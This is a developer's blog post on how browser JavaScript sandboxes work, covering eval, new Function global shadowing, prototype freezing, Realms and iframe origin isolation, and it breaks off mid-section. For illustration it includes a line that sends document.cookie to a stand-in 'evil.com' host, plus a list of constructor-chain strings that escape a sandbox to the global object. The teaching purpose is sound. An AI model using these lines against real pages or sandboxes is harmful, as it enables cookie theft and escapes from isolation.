DEV Community

Cover image for The Architecture of Browser Sandboxes: A Deep Dive into JavaScript Code Isolation
Aleksandr Grigorenko
Aleksandr Grigorenko

Posted on

The Architecture of Browser Sandboxes: A Deep Dive into JavaScript Code Isolation

Hey everyone! I'm Aleksandr Grigorenko, a frontend developer. Recently I’ve been working on a side project — an interactive educational platform for exploring the Web Audio API and the basics of digital sound processing and synthesis. On this platform, users will be able to solve challenges by writing JavaScript code directly in the browser in a built-in code editor. That code then runs inside an isolated environment — a sandbox — where user programs cannot affect the platform.

When I started building the sandbox for my project, I quickly realized it was much more complicated than it looked at first. I tried several different approaches and kept running into the same thing: code isolation in the browser is far from straightforward, and most resources online only scratch the surface. This article grew out of that research and experimentation. It’s a deep breakdown of how browser sandboxes actually work — the architecture behind them, the security principles they rely on, and the subtle details that make real isolation so hard to get right.

You’ve probably come across sandboxes if you’ve ever used tools like CodePen, StackBlitz, or JSFiddle to quickly test an idea or share a piece of code. These tools are commonly known as code playgrounds. But sandboxes are used in many other places as well: in interactive learning platforms (Codecademy, freeCodeCamp, MDN Playground), in browser-based IDEs, and even inside large web applications like Figma, where users can build plugins, automation scripts, and custom extensions in JavaScript.

Wherever users can run code directly in the browser, some form of isolation is essential. Without it, untrusted code could gain access to parts of the page it shouldn’t see, break the application, or even put the user at risk.

A well-designed sandbox has to solve three core problems:

  1. Security. It restricts untrusted code from accessing data or APIs that could compromise the service.
  2. Stability. Even if the host application and the sandboxed code rely on the same language primitives, the sandbox must prevent any ability to modify or break them.
  3. Extensibility. A sandbox may also provide its own features tailored to the use case. For example, in my educational project it evaluates user solutions and checks whether they meet the task requirements.

In this article, we’ll walk through how JavaScript sandboxes are built, step by step:

  • we’ll start with the basic ways to execute arbitrary code — eval() and new Function(),
  • then look at how new Function() can be used to build isolation within a single execution context, and why that turns out to be far from trivial,
  • examine isolation mechanisms that rely on separate contexts — from iframe and Workers to ShadowRealm and virtual Node.js runtimes such as WebContainers,
  • explore existing in-context isolation approaches like Secure ECMAScript,
  • and finally, look at server-side sandboxing techniques, the security and performance guarantees sandboxes can realistically provide, and the places where trade-offs are unavoidable.

This article is an attempt to bring together the existing architectural approaches to code isolation in JavaScript. By the end of it, you’ll not only understand how to build a sandbox of your own, but also how modern browsers and JavaScript features enforce safe code execution — and what new initiatives are emerging in this space.

So, let’s get started.

eval() and other (barely) legal ways to break your browser

Before we move on to real sandboxes and proper isolation, we need to look at how arbitrary code is executed in JavaScript in the first place — and why this can be unsafe. Once we understand the basic mechanisms behind running untrusted code, it becomes much clearer where vulnerabilities come from and how they can be avoided.

So imagine this: you’re building a web-development learning platform and want to embed a code editor on your site. How do you execute whatever the user writes? The most obvious — though definitely not the safest — option is to take the code as a string and pass it to eval().

You’ve probably heard the advice that eval() is an anti-pattern and shouldn’t be used in production. That’s true: aside from being extremely slow — the engine has to parse and compile the code on the fly, which blocks optimizations and adds latency — it’s also unsafe.

However, eval() is still the simplest way to execute arbitrary code, which makes it a convenient starting point for understanding how sandboxes work and what they need to protect against.

So, eval() is a built-in JavaScript function that executes whatever string you pass into it:

const userCode = "console.log('Hello from the sandbox!')";

eval(userCode); // Logs: Hello from the sandbox!
Enter fullscreen mode Exit fullscreen mode

This example looks harmless as long as you fully control what ends up in the userCode string. But once untrusted code gets in, anything can happen. For an attacker, this becomes an easy vector for XSS and other exploits; for a regular user, it’s a quick way to accidentally break the page:

eval("document.body.style.background = 'red'"); // This code will turn the page background red
Enter fullscreen mode Exit fullscreen mode

And you can easily imagine a far worse scenario — for example, when an attacker tries to steal data from the page:

eval('fetch("https://evil.com?data=" + document.cookie)');
Enter fullscreen mode Exit fullscreen mode

However, the danger doesn’t come only from the contents of the string. It also depends on how the code is executed: the mechanism you use to run it, the execution mode, and the environment it has access to.

For more details on eval(), see the MDN documentation.

How eval() is called: direct vs. indirect

The first place where we can start making our sandbox safer is a subtle behavior of eval() that’s easy to overlook. The result of an eval() call depends on how it’s invoked — directly or indirectly. This changes the lexical environment in which the code runs and determines which variables the user code can access.

  • Direct eval runs in the current lexical environment and has access to local variables and closures.
  • Indirect eval runs in the global lexical environment and cannot see local variables.
// Direct eval call
eval("x + y");

// Indirect eval call (via optional chaining)
eval?.("x + y");
Enter fullscreen mode Exit fullscreen mode

There are several other ways to trigger an indirect call:

// Using an intermediate variable
const myEval = eval;
myEval("x + y");

// As an object property
const obj = { eval };
obj.eval("x + y");

// As a property of the global object
window.eval("x + y");

// Using the comma operator
(0, eval)("x + y");
Enter fullscreen mode Exit fullscreen mode

The difference between direct and indirect eval() calls becomes very clear in an example:

// Create a local scope inside a function
(function () {
    const secret = "Very secret data";

    // Direct call
    eval("console.log(secret)"); // Has access to the local scope — logs secret

    // Indirect call
    eval?.("console.log(secret)"); // ❌ ReferenceError: secret is not defined
})();
Enter fullscreen mode Exit fullscreen mode

This might look like a small detail, but it determines whether the code passed to eval() can access the surrounding scope or is forced to run in a clean global context.

For more on direct vs. indirect eval(), see the MDN documentation.

Executing eval() in strict mode

Strict mode ("use strict") was introduced in ES5. It makes JavaScript behavior more predictable and safer by eliminating a number of silent mistakes and restricting some of the more dangerous capabilities of eval().

In strict mode, eval() creates its own lexical environment: variables declared inside the evaluated string cannot leak into the outer scope. Without "use strict", however, code executed through eval() can not only read external variables but also overwrite them — which makes it particularly dangerous:

// This code will run in the global context (on the window object)
eval?.("var fetch = () => alert('Unfortunately, you have been hacked!')");

// Declaring fetch with var overwrites window.fetch
fetch('https://example.com'); // triggers the alert
Enter fullscreen mode Exit fullscreen mode

In strict mode, this problem disappears — variables declared inside the evaluated string become local and cannot affect global names:

"use strict";

eval?.("var fetch = () => alert('Unfortunately, you have been hacked!')");

fetch('https://example.com'); // Calls the original window.fetch
Enter fullscreen mode Exit fullscreen mode

However, this protection is fairly easy to bypass. Even in strict mode, you can still modify a global property by performing a direct assignment without using var:

"use strict";

eval?.("fetch = () => alert('Unfortunately, you have been hacked!')");

// fetch now points to the overwritten function
fetch('https://example.com'); // Triggers the alert
Enter fullscreen mode Exit fullscreen mode

Strict mode makes eval() a bit safer, but it doesn’t fix its core problem: it still doesn’t stop evaluated code from directly modifying existing global variables.

By the way, strict mode can be enabled inside the evaluated string itself. A good practice is to prepend "use strict" to any user code before passing it to the sandbox:

eval?.('"use strict";' + userCode);
Enter fullscreen mode Exit fullscreen mode

For more on strict mode and eval(), see the MDN documentation.

Alternatives to eval()

Of course, eval() isn’t the only way to execute a string as code. You can do the same thing with new Function() or by passing strings to setTimeout() and setInterval(). Unlike eval(), these methods always run code in the global context and never have access to local variables. In strict mode, Function(), setTimeout(), and setInterval() behave the same way as eval() and inherit the same limitations.

Here’s an example with new Function() and setTimeout():

(function () {
    "use strict";

    const secret = "Secret data";

    eval('console.log(secret)'); // Secret data

    new Function("console.log(secret)")(); // ❌ ReferenceError: secret is not defined

    setTimeout("console.log(secret)", 0); // ❌ ReferenceError: secret is not defined
})();
Enter fullscreen mode Exit fullscreen mode

You can also call the function constructor like this: Function("console.log(secret)")();. The new keyword isn’t required here, though it’s usually added for readability.

By default, Function() doesn’t make code execution any safer than an indirect eval() call: it still runs in the global context and has access to everything your application can see — window, document, fetch, and other APIs that can be modified or tampered with. However, Function() does have certain characteristics that can make it harder for evaluated code to reach global variables — and we’ll get to those a bit later.

So, eval() and its alternatives make it easy to execute dynamic code — but they also introduce a whole set of risks:

  • leaking local data,
  • tampering with or breaking global APIs,
  • XSS attacks,
  • name collisions,
  • memory leaks,
  • performance degradation (JIT optimizations are disabled).

Neither "use strict" nor indirect eval() calls make arbitrary code execution safe — they only help reduce the blast radius. The core issue isn’t the mechanism used to run the code, but the context in which that code executes and the variables and objects it has access to. The main vulnerability is the unrestricted access to the global object. Through it, code can not only read sensitive data but also override built-in APIs, modify prototypes, and break the entire application logic.

If an attacker gets unrestricted access to the global object and global APIs, they can:

  • override methods on shared prototypes, breaking or intercepting application behavior;
  • use powerful browser APIs to extract sensitive data;
  • run distributed attacks (for example, cryptominers) in users’ browsers;
  • exploit vulnerabilities in third-party libraries (supply-chain attacks);
  • access user-sensitive data (cookies, localStorage, IndexedDB, forms, clipboard) and send it to a remote server;
  • listen to keystrokes or capture data through form events;
  • intercept or rewrite network requests, rerouting them or altering responses;
  • modify event handlers and the DOM, injecting phishing interfaces;
  • fingerprint and track users by collecting environmental characteristics and behavioral patterns.

These vulnerabilities are far from the full list, but they make one thing absolutely clear: we need a way to isolate the global object from the sandbox, or at least limit what the user-provided code can interact with.

Is it possible to prevent sandboxed code from accessing window, document, fetch, setTimeout, and other global APIs? Can we isolate the global object so thoroughly that harmful actions on the page become simply impossible?

Let’s explore these questions — and start with a closer look at what the global object actually is in JavaScript.

What the global object is and how it can be isolated

When a JavaScript engine starts running a program, it creates a global execution environment — a memory space that stores all variables and functions that don’t belong to any local scope. To make these bindings accessible from anywhere in the program, this environment is associated with the global object, which represents the execution environment itself. It’s created once at startup and exists until the program terminates.

Historically, JavaScript didn’t have a single universal name for the global object — its identifier depended on the environment in which the code was running: in browsers it was window, in workers it was self, and in Node.js it was global. Starting with ES2020, the language introduced a universal identifier: globalThis. It always refers to the current global object, no matter the environment:

console.log(globalThis === window); // ✅ true (in the browser)
console.log(globalThis === global); // ✅ true (in Node.js)
console.log(globalThis === self);   // ✅ true (in a Worker)
Enter fullscreen mode Exit fullscreen mode

In the rest of this article, we’ll mostly use the universal globalThis when referring to the global object.

The contents of the global object can be loosely grouped into four categories:

  1. Standard built-in language objects — interfaces such as Object, Array, Function, Promise, Math, and others.
  2. Host-environment APIs — functions and objects provided by the environment. In the browser these include fetch, document, indexedDB, WebSocket, setTimeout; in Node.js — process, require, Buffer, setImmediate, and so on.
  3. User-defined global names — variables and functions declared by the developer in the global scope using var, function, or implicit assignments, as well as any properties manually attached to globalThis.
  4. The globalThis property — a unified reference to the global object across all execution environments.

All properties and methods of the global object are available from anywhere in the program, even without explicitly referencing globalThis. For example, fetch is simply a property of the global object:

console.log(globalThis.fetch === fetch); // ✅ true (in the browser)
Enter fullscreen mode Exit fullscreen mode

In other words, globalThis.fetch() and fetch() are equivalent. Every global method and object is accessible from any context — and this is exactly what makes code isolation in JavaScript so challenging.

For more details on globalThis, see the MDN documentation.

The first attempts to isolate the global object

When we try to execute untrusted code in the same context as our application code, the natural idea is to somehow hide or replace the global object so that the user code can’t see the real APIs or break anything. Spoiler: this turns out to be an extremely tricky and thankless task. In practice, real sandboxes rely on standard isolated contexts such as iframe or Worker.

That said, it is technically possible to isolate the global object within a single context, and we’re going to explore the practical techniques for doing that — along with their limitations.

To isolate the global object from user code, we’ll run that code through new Function() instead of eval(). The Function constructor has a useful property: it lets you specify a list of parameters that become local variables inside the generated function. You pass the parameter names to the constructor, and then provide their values when invoking the function:

const sandbox = new Function(paramName1, paramName2, /*...,*/ paramNameN, codeString);

sandbox(argument1, argument2, /*...,*/ argumentN);
Enter fullscreen mode Exit fullscreen mode

When calling the sandbox function, you can pass specific values as arguments and use them inside the evaluated code:

const userCode = "console.log(a + b)";

const sandbox = new Function("a", "b", '"use strict";' + userCode);

sandbox(1, 2); // Logs: 3
Enter fullscreen mode Exit fullscreen mode

Remember that a function created via Function() always runs in the global context: it cannot see the local variables of its caller, but it can access the global object. Because of that, a plain Function() doesn’t solve the isolation problem — malicious code can still overwrite globalThis and replace global APIs:

const userCode = "fetch = () => alert('Unfortunately, you have been hacked!')";

const sandbox = new Function('"use strict";' + userCode);

sandbox();

fetch('https://example.com'); // fetch is now overwritten — the alert is triggered
Enter fullscreen mode Exit fullscreen mode

To avoid this, we can declare parameters inside Function() with the names of the globals we want to isolate, and then pass the desired values when calling the function. In that case, assigning a new value inside the generated function will modify only the local variable rather than the corresponding global property:

const userCode = "fetch = () => alert('Unfortunately, you have been hacked!')";

const sandbox = new Function("fetch", '"use strict";' + userCode);

sandbox(globalThis.fetch);

fetch('https://example.com'); // The global fetch remains untouched, and the browser attempts the real request
Enter fullscreen mode Exit fullscreen mode

This technique lets us shadow specific global names and significantly reduce the risk of straightforward overrides.

For more details on the Function() constructor, see the MDN documentation.

Blocking direct access to the global object

Earlier, we prevented direct reassignment of fetch, but an attacker can still reach fetch as a property of the global object. Malicious code can still access the global object directly (for example, through globalThis) and modify its properties:

const userCode = "globalThis.fetch = () => alert('Unfortunately, you have been hacked!')";
Enter fullscreen mode Exit fullscreen mode

To close off this attack vector as well, we can include all identifiers of the global object in the parameter list and pass undefined for them when invoking the function:

const paramNames = ["fetch", "window", "globalThis", "self"];

const sandbox = new Function(...paramNames, '"use strict";' + userCode);

sandbox(globalThis.fetch, undefined, undefined, undefined);
Enter fullscreen mode Exit fullscreen mode

In this setup, attempting to run globalThis.fetch = ... inside userCode will result in an error, because within the sandbox globalThis is undefined.

You can shadow any global names this way — for example, eval, setTimeout, setInterval, or even constructors like Function and Object. This significantly reduces the risk of trivial attacks, but it still doesn’t provide absolute protection: there are other ways to reach the global object.

Whether you should block all global names entirely depends on how much you’re willing to restrict what user code can do. In theory, you could pass undefined for every global variable, but that’s usually excessive — you’ll probably want to expose at least some useful APIs. At the same time, exposing those APIs without restrictions is dangerous. For example, if the original Object constructor is available, user code can patch its prototype, affecting the behavior of every object in the entire application. This type of attack is known as prototype pollution.

To reduce the risk of prototype pollution, we can freeze global built-ins using Object.freeze(), which prevents them from being modified:

// Don't forget strict mode — it makes writes to frozen objects throw errors
"use strict";

// A list of built-in global names that have prototypes
const SAFE_GLOBALS = [
    'Object', 'Function', 'Array', 'String', 'Number', 'Boolean', 'Symbol',
    'Date', 'RegExp', 'Error', 'Map', 'Set', 'WeakMap', 'WeakSet',
    'Promise', 'Reflect', 'Math', 'JSON', 'Intl',
];

// We need to freeze both the constructors and their prototypes
SAFE_GLOBALS.forEach(name => {
    const safeGlobal = globalThis[name];
    if (!safeGlobal) return;

    Object.freeze(safeGlobal);
    if (safeGlobal.prototype) Object.freeze(safeGlobal.prototype);
});
Enter fullscreen mode Exit fullscreen mode

Once everything is frozen, writes to built-in objects or their prototypes will be rejected:

Object.newProp = 123;
// ❌ TypeError: Cannot add property newProp, object is not extensible

Array.prototype.push = () => alert('Unfortunately, you have been hacked!');
// ❌ TypeError: Cannot assign to read only property 'push' of object '[object Array]'
Enter fullscreen mode Exit fullscreen mode

How to protect against object mutation

At first glance, blocking access to global names (by shadowing them or freezing their prototypes) seems like it should be enough. But these techniques only protect against reassigning names — they don’t prevent mutating the underlying objects if the sandbox receives real references to them.

For example, if we pass the original globalThis.console as the value for the "console" parameter when creating the sandbox, then changing console.log inside the sandbox will modify the original object:

const userCode = "console.log = () => alert('Unfortunately, you have been hacked!')";

const sandbox = new Function("console", '"use strict";' + userCode);

sandbox(globalThis.console);

console.log('Hello!'); // The alert will be triggered
Enter fullscreen mode Exit fullscreen mode

This allows an attacker not only to modify properties on the original object, but also to delete them using delete, or add new ones. Moreover, they may still be able to reach globalThis by walking the prototype chain of those objects.

To prevent this, we shouldn’t pass original objects into the sandbox — we need to pass secure copies instead: objects with no prototype, frozen methods, and a nullified constructor. Let’s walk through how to build such a secure wrapper step by step using console.log as an example.

1) First, we create a prototype-less copy object — this prevents malicious code from reaching the global object through the prototype chain:

const safeConsole = Object.create(null);

console.log(safeConsole.__proto__); // Logs: undefined
Enter fullscreen mode Exit fullscreen mode

2) Next, we assign wrapper methods instead of passing direct references to the original ones:

// A simple wrapper that forwards the call to the original method
safeConsole.log = (...args) => console.log(...args);

// Or a bind-based version — using a null context so the global object
// can’t be reached through this
safeConsole.log = console.log.bind(null);
Enter fullscreen mode Exit fullscreen mode

3) We then block the constructor property to ensure that accessing safeConsole.log.constructor can’t lead back to the global Function constructor:

Object.defineProperty(safeConsole.log, 'constructor', {
    value: undefined,
    writable: false,
    configurable: false,
    enumerable: false,
});

console.log(safeConsole.log.constructor); // Logs: undefined
Enter fullscreen mode Exit fullscreen mode

4) Finally, we freeze the object and its methods to prevent them from being overwritten or deleted:

Object.freeze(safeConsole);
Object.freeze(safeConsole.log);

safeConsole.log = () => alert('Unfortunately, you have been hacked!');
// ❌ TypeError: Cannot assign to read only property 'log' of object '[object Object]'
Enter fullscreen mode Exit fullscreen mode

The final version of the protected safeConsole object with a single log() method looks like this:

"use strict";

const safeConsole = Object.create(null);

safeConsole.log = console.log.bind(null);

Object.defineProperty(safeConsole.log, 'constructor', {
    value: undefined,
    writable: false,
    configurable: false,
    enumerable: false,
});

Object.freeze(safeConsole);
Object.freeze(safeConsole.log);
Enter fullscreen mode Exit fullscreen mode

We can now use this protected safeConsole object when initializing the sandbox. It’s important to wrap the sandbox invocation in a try/catch block, because attempts to override frozen properties in strict mode will throw exceptions:

const userCode = "console.log = () => alert('Unfortunately, you have been hacked!');";

const sandbox = new Function("console", '"use strict";' + userCode);

try {
    sandbox(safeConsole);
} catch (err) {
    realConsole.error('An error occurred inside the sandbox:', err);
}
Enter fullscreen mode Exit fullscreen mode

You’ll need to repeat this same process for every API you want to expose to the sandbox, while simultaneously blocking (by passing undefined) any interfaces that should remain inaccessible.

Closing the remaining escape paths

To fully restrict sandboxed code from reaching the global object, we would need to do a tremendous amount of work. Achieving complete isolation would require creating protected copies of every global entity and every method on those entities — because if even a single global name isn’t shadowed in the new Function() parameters, it will remain accessible inside the sandbox.

But even if we imagine that we’ve replaced every API that could lead to globalThis, full isolation still wouldn’t be guaranteed. The global object can still be reached.

For example, you can reach the global object by walking up the constructor chain of any built-in object until you reach the base Function constructor:

console.log(Math.constructor.constructor); // function Function() { [native code] }
Enter fullscreen mode Exit fullscreen mode

From there, you can create a new function. Since functions created via new Function() run in non-strict mode by default and execute in the global context, their this value will point to the global object:

console.log(Math.constructor.constructor("return this")() === globalThis); // ✅ true
Enter fullscreen mode Exit fullscreen mode

Even if we block direct access to every built-in object all the way down to Object and Function, the restriction can still be bypassed through the constructor property of any primitive — from numbers to generator functions:

// All of these will return a reference to the global object
const numberHack = '(1).constructor.constructor("return this")()';
const nanHack = 'NaN.constructor.constructor("return this")()';
const stringHack = '"".constructor.constructor("return this")()';
const booleanHack = 'true.constructor.constructor("return this")()';

// These as well
const objectHack = '({}).constructor.constructor("return this")()';
const arrayHack = '[].constructor.constructor("return this")()';
const fnHack = '(function(){}).constructor("return this")()';
const arrowFnHack = '(() => {}).constructor("return this")()';

// Or tricks like this
const asyncFnHack = '(async () => {}).constructor("return this")().then(global => global)';

// And even this — all of it returns the global object
const generatorHack = '(function*(){}).constructor("return this")().next().value';
const asyncGeneratorHack =
  '(async function*(){}).constructor("return this")().next().then(global => global.value)';
Enter fullscreen mode Exit fullscreen mode

To close off tricks like these, we need to block the constructor property on Function.prototype — this breaks the constructor chains that lead back to Function:

Object.defineProperty(Function.prototype, 'constructor', {
    value: undefined,
    writable: false,
    configurable: false,
    enumerable: false,
});

// And we can also block constructor on Object.prototype
// to cover additional escape paths
Object.defineProperty(Object.prototype, 'constructor', {
    value: undefined,
    writable: false,
    configurable: false,
    enumerable: false,
});
Enter fullscreen mode Exit fullscreen mode

These protections work for all primitives except async functions and generator functions, whose constructors aren’t Function but their own Function-like objects:

console.log((async () => {}).constructor.name); // AsyncFunction
console.log((function*(){}).constructor.name); // GeneratorFunction
console.log((async function*(){}).constructor.name); // AsyncGeneratorFunction
Enter fullscreen mode Exit fullscreen mode

These constructor objects aren’t exposed through the global object, so you can’t access them directly to clear out their constructor property. To handle these cases, we need to find their prototypes using Object.getPrototypeOf() and block the constructor there:

// Block the constructor on the generator-function prototype
Object.defineProperty(Object.getPrototypeOf(function*(){}), 'constructor', {
    value: undefined,
    writable: false,
    configurable: false,
    enumerable: false,
});
Enter fullscreen mode Exit fullscreen mode

Completing all of these steps — and applying the same process to the remaining Function-like constructors — is what finally gives us a fully isolated global object for code executed via new Function().

Conclusions: the practical limits of single-context isolation

Here’s a quick recap of the process we followed while trying to build a safe sandbox within a single execution context:

  1. Run all user-provided code strictly in "use strict" mode.
  2. Use new Function() to initialize the sandbox so that global names can be shadowed through function parameters.
  3. List every global name and built-in object that must be hidden in the parameter list, and pass undefined for them when invoking the sandbox.
  4. For built-ins that should remain accessible (Object, Array, etc.), freeze both their constructors and their prototypes.
  5. For global APIs that you do want to expose, provide secure wrapper objects (without access to the real global object) and substitute them for the originals.
  6. Clear the constructor property on the relevant prototypes to cut off escape paths to Function() through constructor chains of primitives and functions.

If you apply every step thoroughly, an attacker should have no remaining way to obtain globalThis inside the sandbox and execute harmful code. The key word here is thoroughly: you would need to patch, freeze, or stub out every built-in object in the language, every globally accessible name, and every browser API. But even then, I strongly recommend not relying on this approach in real projects. It cannot be considered fully reliable for several reasons:

  • the language and browser environments continue to evolve — new built-ins and APIs are added regularly, and you would need to constantly maintain and update your protection layer;
  • different engines (V8, SpiderMonkey, JavaScriptCore) implement and optimize built-ins differently — engine quirks and bugs may bypass your patches;
  • patching standard prototypes is risky: third-party code (including npm libraries) may depend on default behavior and break in subtle ways;
  • maintaining such a defense mechanism is complex because it relies on covering known escape paths rather than on a solid architectural guarantee;
  • and even if the user code can’t reach the global object, it can still cause harm — for example, by running an infinite loop or a heavy computation that blocks the main UI thread.

In the end, we can draw a clear conclusion: while it is technically possible to achieve isolation within a single execution context, doing so requires heavily modifying the language’s default behavior and continuously closing new escape paths. This approach can work only when the sandbox’s capabilities are intentionally very limited by design. But if the sandbox needs access to the DOM, network calls, or any other complex APIs, keeping the attack surface under control becomes extremely difficult.

For most scenarios that involve running user-supplied code, you need mechanisms that reliably isolate the sandbox from the host application. This is exactly how the majority of code playgrounds — such as CodePen — are built.

Before we look at those mechanisms, we need to understand how JavaScript execution contexts work, what a Realm is, and why this concept is essential for building any kind of sandbox.

What Realms are and why they matter

As of now (late 2025), JavaScript still doesn’t offer a standardized API for manually creating a fully independent execution environment. Yet isolation is built into the language architecture through the concept of Realms — a mechanism that defines a separate execution space with its own global object and its own set of built-in entities.

According to the ECMAScript specification, a Realm is an internal structure that includes:

  • a set of intrinsic objects — built-in language entities such as %ObjectPrototype%, %ArrayPrototype%, %FunctionPrototype%, and others;
  • the global object and its associated global environment, where global variables and functions live;
  • the program code that executes within that environment.

In simpler terms, a Realm is an isolated “world” of JavaScript execution: it has its own built-in globals, its own prototypes, and its own execution context. Two different Realms do not share objects or prototypes. For example, mutating Object.prototype in one Realm has no effect on objects created in another.

Up to this point, we’ve looked at how to limit untrusted code while staying inside the same Realm — using new Function(), shadowing global names, and freezing prototypes. These techniques reduce risk, but they never provide true isolation, because both the user code and the host application still share the same global object and the same set of intrinsics. Full isolation is achieved only by creating a new Realm.

In JavaScript, new Realms are created automatically by the host environment in the following ways:

<iframe>

Every <iframe> creates a new Realm — with its own window, document, globalThis, and its own copies of all built-in objects. This is the classic isolation mechanism used by CodePen, JSFiddle, MDN Playground, and many other sandboxed environments.

Workers

Web Workers also create their own Realm. They don’t have access to the DOM, communicate with the main context via postMessage(), and can be terminated manually with terminate().

Service Worker scripts also run in a separate Realm, but they serve a different purpose: they act as a network proxy between the page and the network, manage caches, and handle application lifecycle events.

Node.js vm

On the server, the closest equivalent to Realms is Node’s vm module, which creates isolated execution contexts similar to separate Realms: each has its own global object and its own global environment. However, intrinsic objects are shared by default across contexts unless you explicitly create fully independent copies.

According to the ECMAScript specification, every Realm belongs to an entity called an Agent. An Agent manages the shared resources for its Realms: memory, the job queue, and the event loop. A single Agent can contain multiple Realms. For example, the main window and a same-origin <iframe> run within the same Agent, which allows them to access each other directly:

// same-origin iframe
const iframe = document.createElement('iframe');
document.body.appendChild(iframe);

console.log(window === iframe.contentWindow); // ❌ false — different globalThis
console.log(window.Array === iframe.contentWindow.Array); // ❌ false — different intrinsics
console.log(iframe.contentWindow.document.body.innerHTML = 'Hello!'); // ✅ Works — same Agent
Enter fullscreen mode Exit fullscreen mode

If the <iframe> is loaded from a different origin (cross-origin), the browser creates a new Agent (often in a separate process). Communication between Agents is only possible through asynchronous mechanisms such as postMessage() or MessagePort.

Identity discontinuity — when object identities break across Realms

One of the most interesting consequences of having separate Realms is what's known as identity discontinuity — a situation where an object created in one environment no longer matches the “same” type in another environment.

Consider the following example:

<iframe id="button_iframe">
    <script>
        // From inside the iframe, we access window.top (the parent context)
        // and define a function that creates a button element there
        window.top.createButton = text => {
            const button = document.createElement('button');
            button.value = text;

            return button;
        };
    </script>
</iframe>

<script>
    const button = window.createButton('Click me');

    // It looks like an HTMLButtonElement, but instanceof says otherwise
    console.log(button instanceof HTMLButtonElement); // ❌ false
</script>
Enter fullscreen mode Exit fullscreen mode

Even though button looks like a normal button element, button instanceof HTMLButtonElement returns false. The reason is that the element was created inside the <iframe>, which has its own global object and its own DOM class set — including its own version of HTMLButtonElement:

console.log(button instanceof button_iframe.contentWindow.HTMLButtonElement); // ✅ true
Enter fullscreen mode Exit fullscreen mode

This isn’t a bug — it’s expected behavior. The main document and the <iframe> document live in different Realms, each with its own built-in objects and its own DOM interface instances. Because of that, an object from one Realm can never be an instance of a class from another Realm, even if the names and interfaces are identical.

Identity discontinuity forms a natural boundary between different JavaScript “worlds”: an object created inside a sandbox won’t be compatible with objects in the host application. The same applies to objects created in different <iframe>s or workers:

// Create an array inside the first iframe
const arr = iframe1.contentWindow.Array.of(1, 2, 3);

// Try to check it inside the second iframe
console.log(iframe2.contentWindow.Array.isArray(arr));   // ❌ false
console.log(arr instanceof iframe2.contentWindow.Array); // ❌ false
Enter fullscreen mode Exit fullscreen mode

That said, identity discontinuity can become inconvenient when you need to exchange complex data structures between sandboxes. There are approaches that attempt to solve this problem and provide cross-Realm object compatibility — we’ll return to this topic later in the article.

We’ve now seen that Realms are the foundation of browser-level isolation in JavaScript: each <iframe> or worker is its own environment with its own built-ins and its own global state. Next, we’ll look at how browsers use Realms in practice and what isolation mechanisms are available “out of the box.” We’ll start with <iframe>, the oldest — and still the most widely used — way to create sandboxes.

Sandbox architecture based on <iframe>

One of the most reliable and time-tested ways to run code in an isolated environment in the browser is using an <iframe>. It’s an HTML element that loads a separate document running inside its own execution environment. Traditionally, <iframe> elements are used to embed map widgets, videos, or advertising banners — but they’re also a perfect fit for implementing sandboxes. In fact, <iframe> is the foundation of most code playgrounds, including CodePen, JSFiddle, and many others.

Let’s take a closer look at how an <iframe> works, the isolation mechanisms built into it, and how it communicates with the host application.

The origin mechanism

The isolation between an <iframe> and the host application is enforced by several security mechanisms. The most important one is the browser’s origin mechanism. Every document running in the browser belongs to a specific origin, defined by the scheme/host/port tuple. For example, the origin of a page located at https://dev.to/alexgriss/the-architecture-of-browser-sandboxes-a-deep-dive-into-javascript-code-isolation-1dnj would be (https, dev.to, 443).

If this page embeds another page from this site using an <iframe>, both documents will have the same origin and are considered mutually trusted. They will run in separate Realms but within the same Agent, and can freely interact with each other — access each other’s global objects, call APIs, share the DOM, and so on.

<iframe id="iframe" src="sandbox.html"></iframe>

<script>
    const iframe = document.getElementById("iframe");

    console.log(iframe.contentWindow.document.title); 
    // It works because both documents have the same origin
</script>
Enter fullscreen mode Exit fullscreen mode

If any component of the scheme/host/port tuple differs between two resources, they are considered to have different origins — cross origin. For example, if we embed a YouTube video into this article, the video will belong to a different origin.

Cross-origin documents run not only in different Realms, but also in different Agents: each with its own event loop, task queues, and garbage collector. Any direct interaction between Agents is forbidden at the browser level, and attempts to do so will throw an exception:

<iframe id="iframe" src="https://example.com/sandbox.html"></iframe>

<script>
    const iframe = document.getElementById("iframe");

    console.log(iframe.contentWindow.document.title);
    // Direct access to a cross-origin document will fail and throw an error:
    // ❌ SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame.
</script>
Enter fullscreen mode Exit fullscreen mode

The mechanism that determines origin and governs which communication patterns are allowed between execution contexts is the Same-Origin Policy (SOP). For sandboxes, it’s best to rely on the strictest SOP constraints so that malicious code cannot interact with the host context. However, to enable cross-origin mode, the document loaded inside an <iframe> must be served from a different address — for example, a different subdomain. Some code playgrounds use this approach, but it’s not always convenient because it introduces significant infrastructure overhead.

There is a simpler and more flexible way to give different documents distinct origins: using opaque origins, where a document’s origin is treated as anonymous. Opaque origins are automatically assigned to documents that are not associated with any explicit network origin. Such documents are fully isolated both from their parent and from each other. You’ll encounter this behavior when a document is created through:

  • a data: URL;
  • a blob: URL;
  • an about:blank document created from a different cross-origin or opaque-origin document;
  • an <iframe> with the sandbox attribute, when allow-same-origin is not set.

Documents with an opaque origin always report null for location.origin:

<iframe src="data:text/html,<script>console.log(location.origin);</script>"></iframe>
<!-- console.log(location.origin) will print null -->
Enter fullscreen mode Exit fullscreen mode

Opaque origins are widely used in sandboxes because they provide the strongest isolation without requiring the code to run on a separate domain.

For more details on origins, see the MDN documentation.

Enabling sandbox mode via the sandbox attribute

The sandbox attribute on an <iframe> deserves separate attention. It allows you to specify restrictions for the environment in which the document inside the <iframe> will run, and it tells the browser which potentially dangerous capabilities should be blocked or allowed. When this attribute is present, the browser enables a strict isolation mode and applies a set of restrictions — even if the document is loaded from the same origin:

  • the <iframe> runs in a new, unique opaque origin (unless allow-same-origin is specified),
  • it is prevented from performing most unsafe actions,
  • it cannot open popups, execute scripts, submit forms, and much more.

A simple sandbox example using the sandbox attribute:

<iframe src="sandbox.html" sandbox></iframe>
Enter fullscreen mode Exit fullscreen mode

In this mode, the <iframe> is not allowed to run scripts or perform any potentially unsafe operations, since no explicit permissions were granted. Any attempt to execute code inside the <iframe> in sandbox.html will throw an error:

console.log("Hello!");
// ❌ Blocked script execution because the document's frame is sandboxed and the 'allow-scripts' permission is not set
Enter fullscreen mode Exit fullscreen mode

If you add the allow-scripts directive to the sandbox attribute, the <iframe> will be allowed to execute scripts:

<iframe src="sandbox.html" sandbox="allow-scripts"></iframe>
Enter fullscreen mode Exit fullscreen mode

However, the <iframe> is still running in cross-origin mode, so any attempt to access the parent’s global object will be blocked:

console.log(window.parent.document);
